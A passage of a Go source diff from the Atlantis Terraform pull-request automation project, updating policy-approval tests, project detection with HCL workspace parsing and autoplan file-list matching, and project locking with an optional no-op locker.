1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 1, + CurApprovals: 1, + }, + }, + expFailure: "", + }, + { + description: "When user is not a top-level owner, but is an owner of one policy set through nembership, increment approval only the policy to which they are an owner.", + hasErr: true, + userTeams: []string{"someuserteam"}, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Name: "policy2", + ApproveCount: 1, + }, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 1, + CurApprovals: 0, + }, + }, + expFailure: "One or more policy sets require additional approval.", + }, + { + description: "Do not increment or error on passing or fully-approved policy sets.", + userTeams: []string{"someuserteam"}, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 2, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 2, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 2, + CurApprovals: 2, + }, + }, + expFailure: ``, + hasErr: false, + }, + { + description: "Policies should not fail if they pass.", + userTeams: []string{"someuserteam"}, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 2, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: true, + Approvals: 0, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 2, + CurApprovals: 0, + Passed: true, + }, + }, + expFailure: ``, + hasErr: false, + }, + { + description: "Non-targeted failing policies should still trigger failure when a targeted policy is cleared.", + userTeams: []string{"someuserteam"}, + targetedPolicy: "policy1", + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy2", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 0, + Passed: false, + }, + { + PolicySetName: "policy2", + Approvals: 0, + Passed: false, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 1, + CurApprovals: 0, + }, + }, + expFailure: `One or more policy sets require additional approval.`, + hasErr: false, + }, + { + description: "Approval count should be zero if ClearPolicyApproval is set.", + userTeams: []string{"someuserteam"}, + clearPolicyApproval: true, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy2", + ApproveCount: 2, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 1, + Passed: false, + }, + { + PolicySetName: "policy2", + Approvals: 1, + Passed: false, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 0, + }, + { + PolicySetName: "policy2", + ReqApprovals: 2, + CurApprovals: 0, + }, + }, + expFailure: `One or more policy sets require additional approval.`, + hasErr: false, + }, + { + description: "Approval count should not clear if user is not owner and ClearPolicyApproval is set.", + userTeams: []string{"someuserteam"}, + clearPolicyApproval: true, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Owners: valid.PolicyOwners{ + Teams: []string{"someotheruserteam"}, + }, + Name: "policy2", + ApproveCount: 2, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 1, + Passed: false, + }, + { + PolicySetName: "policy2", + Approvals: 1, + Passed: false, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 0, + }, + { + PolicySetName: "policy2", + ReqApprovals: 2, + CurApprovals: 1, + }, + }, + expFailure: `One or more policy sets require additional approval.`, + hasErr: true, + }, + { + description: "Approval count should only clear targeted policies when ClearPolicyApproval is set.", + userTeams: []string{"someuserteam"}, + targetedPolicy: "policy2", + clearPolicyApproval: true, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Owners: valid.PolicyOwners{ + Teams: []string{"someuserteam"}, + }, + Name: "policy2", + ApproveCount: 2, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 1, + Passed: false, + }, + { + PolicySetName: "policy2", + Approvals: 1, + Passed: false, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 2, + CurApprovals: 0, + }, + }, + expFailure: `One or more policy sets require additional approval.`, + hasErr: false, + }, + { + description: "Policy Approval should not be the Author of the PR", + userTeams: []string{"someuserteam"}, + clearPolicyApproval: false, + policySetCfg: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Owners: valid.PolicyOwners{ + Users: []string{"lkysow"}, + }, + Name: "policy1", + ApproveCount: 1, + }, + { + Owners: valid.PolicyOwners{ + Users: []string{"lkysow"}, + }, + Name: "policy2", + ApproveCount: 1, + PreventSelfApprove: true, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 0, + Passed: false, + }, + { + PolicySetName: "policy2", + Approvals: 0, + Passed: false, + }, + }, + expOut: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + { + PolicySetName: "policy2", + ReqApprovals: 1, + CurApprovals: 0, + }, + }, + expFailure: `One or more policy sets require additional approval.`, + hasErr: true, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + RegisterMockTestingT(t) + mockVcsClient := vcsmocks.NewMockClient() + mockInit := mocks.NewMockStepRunner() + mockPlan := mocks.NewMockStepRunner() + mockApply := mocks.NewMockStepRunner() + mockRun := mocks.NewMockCustomStepRunner() + mockEnv := mocks.NewMockEnvStepRunner() + mockWorkingDir := mocks.NewMockWorkingDir() + mockLocker := mocks.NewMockProjectLocker() + mockSender := mocks.NewMockWebhooksSender() + + runner := events.DefaultProjectCommandRunner{ + Locker: mockLocker, + VcsClient: mockVcsClient, + LockURLGenerator: mockURLGenerator{}, + InitStepRunner: mockInit, + PlanStepRunner: mockPlan, + ApplyStepRunner: mockApply, + RunStepRunner: mockRun, + EnvStepRunner: mockEnv, + WorkingDir: mockWorkingDir, + Webhooks: mockSender, + WorkingDirLocker: events.NewDefaultWorkingDirLocker(), + } + repoDir := t.TempDir() + When(mockWorkingDir.GetWorkingDir( + Any[models.Repo](), + Any[models.PullRequest](), + Any[string](), + )).ThenReturn(repoDir, nil) + When(mockLocker.TryLock( + Any[logging.SimpleLogging](), + Any[models.PullRequest](), + Any[models.User](), + Any[string](), + Any[models.Project](), + AnyBool(), + )).ThenReturn(&events.TryLockResponse{ + LockAcquired: true, + LockKey: "lock-key", + }, nil) + + var projPolicyStatus []models.PolicySetStatus + if c.policySetStatus == nil { + for _, p := range c.policySetCfg.PolicySets { + projPolicyStatus = append(projPolicyStatus, models.PolicySetStatus{ + PolicySetName: p.Name, + }) + } + } else { + projPolicyStatus = c.policySetStatus + } + + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num, Author: testdata.User.Username} + When(runner.VcsClient.GetTeamNamesForUser(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.User))).ThenReturn(c.userTeams, nil) + ctx := command.ProjectContext{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + PolicySets: c.policySetCfg, + ProjectPolicyStatus: projPolicyStatus, + Pull: modelPull, + PolicySetTarget: c.targetedPolicy, + ClearPolicyApproval: c.clearPolicyApproval, + } + + res := runner.ApprovePolicies(ctx) + Equals(t, c.expOut, res.PolicyCheckResults.PolicySetResults) + Equals(t, c.expFailure, res.Failure) + if c.hasErr == true { + Assert(t, res.Error != nil, "expecting error.") + } else { + Assert(t, res.Error == nil, "not expecting error.") + } + }) + } +} diff --git a/server/events/project_finder.go b/server/events/project_finder.go index 2c2dc92394..355e181d50 100644 --- a/server/events/project_finder.go +++ b/server/events/project_finder.go @@ -14,17 +14,25 @@ package events import ( + "fmt" + "io/fs" "os" "path" "path/filepath" "strings" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/utils" - "github.com/docker/docker/pkg/fileutils" + "github.com/moby/patternmatcher" "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" + + "github.com/hashicorp/hcl/v2" + "github.com/hashicorp/hcl/v2/gohcl" + "github.com/hashicorp/hcl/v2/hclparse" ) // ProjectFinder determines which projects were modified in a given pull @@ -33,11 +41,93 @@ type ProjectFinder interface { // DetermineProjects returns the list of projects that were modified based on // the modifiedFiles. The list will be de-duplicated. // absRepoDir is the path to the cloned repo on disk. - DetermineProjects(log *logging.SimpleLogger, modifiedFiles []string, repoFullName string, absRepoDir string) []models.Project + DetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project // DetermineProjectsViaConfig returns the list of projects that were modified // based on modifiedFiles and the repo's config. // absRepoDir is the path to the cloned repo on disk. - DetermineProjectsViaConfig(log *logging.SimpleLogger, modifiedFiles []string, config valid.RepoCfg, absRepoDir string) ([]valid.Project, error) + DetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error) + + DetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error) +} + +var rootBlockSchema = &hcl.BodySchema{ + Blocks: []hcl.BlockHeaderSchema{ + { + Type: "terraform", + LabelNames: nil, + }, + }, +} + +var terraformBlockSchema = &hcl.BodySchema{ + Blocks: []hcl.BlockHeaderSchema{ + { + Type: "cloud", + }, + }, +} + +var cloudBlockSchema = &hcl.BodySchema{ + Blocks: []hcl.BlockHeaderSchema{ + { + Type: "workspaces", + }, + }, +} + +func (p *DefaultProjectFinder) DetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error) { + log.Info("Looking for Terraform Cloud workspace from configuration in '%s'", absRepoDir) + infos, err := os.ReadDir(absRepoDir) + if err != nil { + return "", err + } + parser := hclparse.NewParser() + for _, info := range infos { + if info.IsDir() { + continue + } + + name := info.Name() + if strings.HasSuffix(name, ".tf") { + fullPath := filepath.Join(absRepoDir, name) + file, _ := parser.ParseHCLFile(fullPath) + workspace, err := findTFCloudWorkspaceFromFile(file) + if err != nil { + log.Warn(err.Error()) + return DefaultWorkspace, nil + } + + if len(workspace) > 0 { + log.Debug("found configured Terraform Cloud workspace with name %q", workspace) + return workspace, nil + } + } + } + + log.Debug("no Terraform Cloud workspace explicitly configured in Terraform codes. Use default workspace (%q)", DefaultWorkspace) + return DefaultWorkspace, nil +} + +func findTFCloudWorkspaceFromFile(file *hcl.File) (string, error) { + content, _, _ := file.Body.PartialContent(rootBlockSchema) + workspace := "" + + if len(content.Blocks) == 1 { + content, _, _ = content.Blocks[0].Body.PartialContent(terraformBlockSchema) + if len(content.Blocks) == 1 { + content, _, _ = content.Blocks[0].Body.PartialContent(cloudBlockSchema) + if len(content.Blocks) == 1 { + attrs, _ := content.Blocks[0].Body.JustAttributes() + if nameAttr, defined := attrs["name"]; defined { + diags := gohcl.DecodeExpression(nameAttr.Expr, nil, &workspace) + if diags.HasErrors() { + return "", fmt.Errorf("unable to parse workspace configuration: %q", diags.Error()) + } + } + } + } + } + return workspace, nil } // ignoredFilenameFragments contains filename fragments to ignore while looking at changes @@ -47,21 +137,25 @@ var ignoredFilenameFragments = []string{"terraform.tfstate", "terraform.tfstate. type DefaultProjectFinder struct{} // See ProjectFinder.DetermineProjects. -func (p *DefaultProjectFinder) DetermineProjects(log *logging.SimpleLogger, modifiedFiles []string, repoFullName string, absRepoDir string) []models.Project { +func (p *DefaultProjectFinder) DetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project { var projects []models.Project - modifiedTerraformFiles := p.filterToTerraform(modifiedFiles) + modifiedTerraformFiles := p.filterToFileList(log, modifiedFiles, autoplanFileList) if len(modifiedTerraformFiles) == 0 { return projects } - log.Info("filtered modified files to %d .tf or terragrunt.hcl files: %v", + log.Info("filtered modified files to %d file(s) in the autoplan file list: %v", len(modifiedTerraformFiles), modifiedTerraformFiles) var dirs []string for _, modifiedFile := range modifiedTerraformFiles { - projectDir := p.getProjectDir(modifiedFile, absRepoDir) + projectDir := getProjectDir(modifiedFile, absRepoDir) if projectDir != "" { dirs = append(dirs, projectDir) + } else if moduleInfo != nil { + downstreamProjects := moduleInfo.DependentProjects(path.Dir(modifiedFile)) + log.Debug("found downstream projects for %q: %v", modifiedFile, downstreamProjects) + dirs = append(dirs, downstreamProjects...) } } uniqueDirs := p.unique(dirs) @@ -73,7 +167,11 @@ func (p *DefaultProjectFinder) DetermineProjects(log *logging.SimpleLogger, modi exists := p.removeNonExistingDirs(uniqueDirs, absRepoDir) for _, p := range exists { - projects = append(projects, models.NewProject(repoFullName, p)) + // It's unclear how we are supposed to determine the project name at this point + // For now, we'll just add the default projectName + // TODO: Add support for non-default projectName + projectName := "" + projects = append(projects, models.NewProject(repoFullName, p, projectName)) } log.Info("there are %d modified project(s) at path(s): %v", len(projects), strings.Join(exists, ", ")) @@ -81,10 +179,27 @@ func (p *DefaultProjectFinder) DetermineProjects(log *logging.SimpleLogger, modi } // See ProjectFinder.DetermineProjectsViaConfig. -func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log *logging.SimpleLogger, modifiedFiles []string, config valid.RepoCfg, absRepoDir string) ([]valid.Project, error) { +func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error) { + + // Check moduleInfo for downstream project dependencies + var dependentProjects []string + for _, file := range modifiedFiles { + if moduleInfo != nil { + downstreamProjects := moduleInfo.DependentProjects(path.Dir(file)) + log.Debug("found downstream projects for %q: %v", file, downstreamProjects) + dependentProjects = append(dependentProjects, downstreamProjects...) + } + } + var projects []valid.Project for _, project := range config.Projects { log.Debug("checking if project at dir %q workspace %q was modified", project.Dir, project.Workspace) + + if utils.SlicesContains(dependentProjects, project.Dir) { + projects = append(projects, project) + continue + } + var whenModifiedRelToRepoRoot []string for _, wm := range project.Autoplan.WhenModified { wm = strings.TrimSpace(wm) @@ -105,7 +220,7 @@ func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log *logging.SimpleLog } whenModifiedRelToRepoRoot = append(whenModifiedRelToRepoRoot, wmRelPath) } - pm, err := fileutils.NewPatternMatcher(whenModifiedRelToRepoRoot) + pm, err := patternmatcher.New(whenModifiedRelToRepoRoot) if err != nil { return nil, errors.Wrapf(err, "matching modified files with patterns: %v", project.Autoplan.WhenModified) } @@ -113,7 +228,7 @@ func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log *logging.SimpleLog // If any of the modified files matches the pattern then this project is // considered modified. for _, file := range modifiedFiles { - match, err := pm.Matches(file) + match, err := pm.MatchesOrParentMatches(file) if err != nil { log.Debug("match err for file %q: %s", file, err) continue @@ -144,14 +259,27 @@ func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log *logging.SimpleLog return projects, nil } -// filterToTerraform filters non-terraform files from files. -func (p *DefaultProjectFinder) filterToTerraform(files []string) []string { +// filterToFileList filters out files not included in the file list +func (p *DefaultProjectFinder) filterToFileList(log logging.SimpleLogging, files []string, fileList string) []string { var filtered []string + patterns := strings.Split(fileList, ",") + // Ignore pattern matcher error here as it was checked for errors in server validation + patternMatcher, _ := patternmatcher.New(patterns) + for _, fileName := range files { - if !p.shouldIgnore(fileName) && (strings.Contains(fileName, ".tf") || filepath.Base(fileName) == "terragrunt.hcl") { + if p.shouldIgnore(fileName) { + continue + } + match, err := patternMatcher.MatchesOrParentMatches(fileName) + if err != nil { + log.Debug("filter err for file %q: %s", fileName, err) + continue + } + if match { filtered = append(filtered, fileName) } } + return filtered } @@ -170,7 +298,11 @@ func (p *DefaultProjectFinder) shouldIgnore(fileName string) bool { // if the root is valid by looking for a main.tf file. It returns a relative // path to the repo. If the project is at the root returns ".". If modified file // doesn't lead to a valid project path, returns an empty string. -func (p *DefaultProjectFinder) getProjectDir(modifiedFilePath string, repoDir string) string { +func getProjectDir(modifiedFilePath string, repoDir string) string { + return getProjectDirFromFs(os.DirFS(repoDir), modifiedFilePath) +} + +func getProjectDirFromFs(files fs.FS, modifiedFilePath string) string { dir := path.Dir(modifiedFilePath) if path.Base(dir) == "env" { // If the modified file was inside an env/ directory, we treat this @@ -186,7 +318,7 @@ func (p *DefaultProjectFinder) getProjectDir(modifiedFilePath string, repoDir st // Surrounding dir with /'s so we can match on /modules/ even if dir is // "modules" or "project1/modules" - if strings.Contains("/"+dir+"/", "/modules/") { + if isModule(dir) { // We treat changes inside modules/ folders specially. There are two cases: // 1. modules folder inside project: // root/ @@ -218,7 +350,7 @@ func (p *DefaultProjectFinder) getProjectDir(modifiedFilePath string, repoDir st modulesParent := modulesSplit[0] // Now we check whether there is a main.tf in the parent. - if _, err := os.Stat(filepath.Join(repoDir, modulesParent, "main.tf")); os.IsNotExist(err) { + if _, err := fs.Stat(files, filepath.Join(modulesParent, "main.tf")); errors.Is(err, fs.ErrNotExist) { return "" } return path.Clean(modulesParent) @@ -229,6 +361,10 @@ func (p *DefaultProjectFinder) getProjectDir(modifiedFilePath string, repoDir st return dir } +func isModule(dir string) bool { + return strings.Contains("/"+dir+"/", "/modules/") +} + // unique de-duplicates strs. func (p *DefaultProjectFinder) unique(strs []string) []string { hash := make(map[string]bool) diff --git a/server/events/project_finder_test.go b/server/events/project_finder_test.go index 31e1b1ec74..f8135c203c 100644 --- a/server/events/project_finder_test.go +++ b/server/events/project_finder_test.go @@ -14,18 +14,17 @@ package events_test import ( - "io/ioutil" "os" "path/filepath" "testing" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/yaml/valid" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) -var noopLogger = logging.NewNoopLogger() var modifiedRepo = "owner/repo" var m = events.DefaultProjectFinder{} var nestedModules1 string @@ -46,10 +45,8 @@ func setupTmpRepos(t *testing.T) { // terraform.tfstate.backup // modules/ // main.tf - var err error - nestedModules1, err = ioutil.TempDir("", "") - Ok(t, err) - err = os.MkdirAll(filepath.Join(nestedModules1, "project1/modules"), 0700) + nestedModules1 = t.TempDir() + err := os.MkdirAll(filepath.Join(nestedModules1, "project1/modules"), 0700) Ok(t, err) files := []string{ "non-tf", @@ -79,8 +76,7 @@ func setupTmpRepos(t *testing.T) { // main.tf // project2/ // main.tf - topLevelModules, err = ioutil.TempDir("", "") - Ok(t, err) + topLevelModules = t.TempDir() for _, path := range []string{"modules", "project1", "project2"} { err = os.MkdirAll(filepath.Join(topLevelModules, path), 0700) Ok(t, err) @@ -93,8 +89,8 @@ func setupTmpRepos(t *testing.T) { // env/ // staging.tfvars // production.tfvars - envDir, err = ioutil.TempDir("", "") - Ok(t, err) + // global-env-config.auto.tfvars.json + envDir = t.TempDir() err = os.MkdirAll(filepath.Join(envDir, "env"), 0700) Ok(t, err) _, err = os.Create(filepath.Join(envDir, "env/staging.tfvars")) @@ -103,115 +99,201 @@ func setupTmpRepos(t *testing.T) { Ok(t, err) } +func TestDetermineWorkspaceFromHCL(t *testing.T) { + noopLogger := logging.NewNoopLogger(t) + cases := []struct { + description string + repoDir string + expectedWorkspace string + }{ + { + "Should use configured Terraform Cloud workspace", + "workspace-configured", + "test-workspace", + }, + { + "If no 'cloud' block was configured, it should use 'default' workspace", + "no-cloud-block", + "default", + }, + { + "If 'cloud' was specify but without `name` attribute, it should use 'default' workspace", + "cloud-block-without-workspace-name", + "default", + }, + } + + for _, c := range cases { + fullPath := filepath.Join("testdata/test-repos", c.repoDir) + got, err := m.DetermineWorkspaceFromHCL(noopLogger, fullPath) + if err != nil { + t.Error("got error:", err) + break + } + if got != c.expectedWorkspace { + t.Fatalf("Expected %s but got %s", c.expectedWorkspace, got) + } + } + +} + func TestDetermineProjects(t *testing.T) { + noopLogger := logging.NewNoopLogger(t) setupTmpRepos(t) + defaultAutoplanFileList := "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl" + cases := []struct { - description string - files []string - expProjectPaths []string - repoDir string + description string + files []string + expProjectPaths []string + repoDir string + autoplanFileList string }{ { "If no files were modified then should return an empty list", nil, nil, nestedModules1, + defaultAutoplanFileList, }, { "Should ignore non .tf files and return an empty list", - []string{"non-tf"}, + []string{"non-tf", "non.tf.suffix"}, nil, nestedModules1, + defaultAutoplanFileList, }, { "Should ignore .tflint.hcl files and return an empty list", []string{".tflint.hcl", "project1/.tflint.hcl"}, nil, nestedModules1, + defaultAutoplanFileList, }, { "Should plan in the parent directory from modules if that dir has a main.tf", []string{"project1/modules/main.tf"}, []string{"project1"}, nestedModules1, + defaultAutoplanFileList, }, { "Should plan in the parent directory from modules if that dir has a main.tf", []string{"modules/main.tf"}, []string{"."}, nestedModules2, + defaultAutoplanFileList, }, { "Should plan in the parent directory from modules when module is in a subdir if that dir has a main.tf", []string{"modules/subdir/main.tf"}, []string{"."}, nestedModules2, + defaultAutoplanFileList, }, { "Should not plan in the parent directory from modules if that dir does not have a main.tf", []string{"modules/main.tf"}, []string{}, topLevelModules, + defaultAutoplanFileList, }, { "Should not plan in the parent directory from modules if that dir does not have a main.tf", []string{"modules/main.tf", "project1/main.tf"}, []string{"project1"}, topLevelModules, + defaultAutoplanFileList, }, { "Should ignore tfstate files and return an empty list", []string{"terraform.tfstate", "terraform.tfstate.backup", "parent/terraform.tfstate", "parent/terraform.tfstate.backup"}, nil, nestedModules1, + defaultAutoplanFileList, }, { "Should return '.' when changed file is at root", []string{"a.tf"}, []string{"."}, nestedModules2, + defaultAutoplanFileList, }, { "Should return directory when changed file is in a dir", []string{"project1/a.tf"}, []string{"project1"}, nestedModules1, + defaultAutoplanFileList, }, { "Should return parent dir when changed file is in an env/ dir", []string{"env/staging.tfvars"}, []string{"."}, envDir, + defaultAutoplanFileList, }, { "Should de-duplicate when multiple files changed in the same dir", []string{"env/staging.tfvars", "main.tf", "other.tf"}, []string{"."}, "", + defaultAutoplanFileList, }, { "Should ignore changes in a dir that was deleted", []string{"wasdeleted/main.tf"}, []string{}, "", + defaultAutoplanFileList, }, { "Should not ignore terragrunt.hcl files", []string{"terragrunt.hcl"}, []string{"."}, nestedModules2, + defaultAutoplanFileList, }, { "Should find terragrunt.hcl file inside a nested directory", []string{"project1/terragrunt.hcl"}, []string{"project1"}, nestedModules1, + defaultAutoplanFileList, + }, + { + "Should find packer files and ignore default tf files", + []string{"project1/image.pkr.hcl", "project2/main.tf"}, + []string{"project1"}, + topLevelModules, + "**/*.pkr.hcl", + }, + { + "Should find yaml files in addition to defaults", + []string{"project1/ansible.yml", "project2/main.tf"}, + []string{"project1", "project2"}, + topLevelModules, + "**/*.tf,**/*.yml", + }, + { + "Should find yaml files unless excluded", + []string{"project1/ansible.yml", "project2/config.yml"}, + []string{"project1"}, + topLevelModules, + "**/*.yml,!project2/*.yml", + }, + { + "Should not ignore .terraform.lock.hcl files", + []string{"project1/.terraform.lock.hcl"}, + []string{"project1"}, + nestedModules1, + defaultAutoplanFileList, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { - projects := m.DetermineProjects(noopLogger, c.files, modifiedRepo, c.repoDir) + projects := m.DetermineProjects(noopLogger, c.files, modifiedRepo, c.repoDir, c.autoplanFileList, nil) // Extract the paths from the projects. We use a slice here instead of a // map so we can test whether there are duplicates returned. @@ -245,16 +327,18 @@ func TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) { // main.tf // project1/ // main.tf + // terraform.tfvars.json // project2/ // main.tf // terraform.tfvars // modules/ // module/ // main.tf - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "main.tf": nil, "project1": map[string]interface{}{ - "main.tf": nil, + "main.tf": nil, + "terraform.tfvars.json": nil, }, "project2": map[string]interface{}{ "main.tf": nil, @@ -266,7 +350,6 @@ func TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) { }, }, }) - defer cleanup() cases := []struct { description string @@ -403,6 +486,22 @@ func TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) { modified: []string{"project2/terraform.tfvars"}, expProjPaths: []string{"project2"}, }, + { + description: ".terraform.lock.hcl file modified", + config: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: "project2", + Autoplan: valid.Autoplan{ + Enabled: true, + WhenModified: raw.DefaultAutoPlanWhenModified, + }, + }, + }, + }, + modified: []string{"project2/.terraform.lock.hcl"}, + expProjPaths: []string{"project2"}, + }, { description: "file excluded", config: valid.RepoCfg{ @@ -456,7 +555,7 @@ func TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) { for _, c := range cases { t.Run(c.description, func(t *testing.T) { pf := events.DefaultProjectFinder{} - projects, err := pf.DetermineProjectsViaConfig(logging.NewNoopLogger(), c.modified, c.config, tmpDir) + projects, err := pf.DetermineProjectsViaConfig(logging.NewNoopLogger(t), c.modified, c.config, tmpDir, nil) Ok(t, err) Equals(t, len(c.expProjPaths), len(projects)) for i, proj := range projects { diff --git a/server/events/project_locker.go b/server/events/project_locker.go index 92aa64b0c0..9620708db2 100644 --- a/server/events/project_locker.go +++ b/server/events/project_locker.go @@ -16,13 +16,13 @@ package events import ( "fmt" - "github.com/runatlantis/atlantis/server/events/locking" + "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_project_lock.go ProjectLocker +//go:generate pegomock generate --package mocks -o mocks/mock_project_lock.go ProjectLocker // ProjectLocker locks this project against other plans being run until this // project is unlocked. @@ -33,13 +33,14 @@ type ProjectLocker interface { // The third return value is a function that can be called to unlock the // lock. It will only be set if the lock was acquired. Any errors will set // error. - TryLock(log *logging.SimpleLogger, pull models.PullRequest, user models.User, workspace string, project models.Project) (*TryLockResponse, error) + TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error) } // DefaultProjectLocker implements ProjectLocker. type DefaultProjectLocker struct { - Locker locking.Locker - VCSClient vcs.Client + Locker locking.Locker + NoOpLocker locking.Locker + VCSClient vcs.Client } // TryLockResponse is the result of trying to lock a project. @@ -58,8 +59,13 @@ type TryLockResponse struct { } // TryLock implements ProjectLocker.TryLock. -func (p *DefaultProjectLocker) TryLock(log *logging.SimpleLogger, pull models.PullRequest, user models.User, workspace string, project models.Project) (*TryLockResponse, error) { - lockAttempt, err := p.Locker.TryLock(project, workspace, pull, user) +func (p *DefaultProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error) { + locker := p.Locker + if !repoLocking { + locker = p.NoOpLocker + } + + lockAttempt, err := locker.TryLock(project, workspace, pull, user) if err != nil { return nil, err } @@ -77,7 +83,7 @@ func (p *DefaultProjectLocker) TryLock(log *logging.SimpleLogger, pull models.Pu LockFailureReason: failureMsg, }, nil } - log.Info("acquired lock with id %q", lockAttempt.LockKey) + log.Info("Acquired lock with id '%s'", lockAttempt.LockKey) return &TryLockResponse{ LockAcquired: true, UnlockFn: func() error { diff --git a/server/events/project_locker_test.go b/server/events/project_locker_test.go index ba78f4718e..268faf20ee 100644 --- a/server/events/project_locker_test.go +++ b/server/events/project_locker_test.go @@ -17,10 +17,10 @@ import ( "fmt" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/locking" - "github.com/runatlantis/atlantis/server/events/locking/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" @@ -29,7 +29,7 @@ import ( func TestDefaultProjectLocker_TryLockWhenLocked(t *testing.T) { var githubClient *vcs.GithubClient - mockClient := 